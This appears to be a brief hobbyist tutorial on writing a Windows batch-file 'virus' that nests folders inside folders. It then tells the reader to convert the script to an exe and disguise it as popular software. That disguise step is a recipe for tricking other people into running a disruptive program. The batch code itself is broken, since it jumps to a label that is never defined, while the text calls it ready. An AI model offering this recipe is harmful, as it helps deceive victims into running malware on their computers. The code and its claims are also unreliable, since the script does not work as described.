Well you can create a simple computer virus which will create a folder into a folder and so on..
This is just a temporary virus and can be tested very easily just for fun too,and can be removed manually through deleting the content.
Follow the below steps for the creation of virus.

1.open the notepad and type the follwing code:

md d
cd d
goto :123

2.Save as with virus.bat on desktop.

3.Your virus is ready,just double click on it to see the magic.

4.For further advancement in it, download a bat to exe converter,through it change the icon,properties and title of the bat file into any popular software.

5.And now your virus is ready to be executed.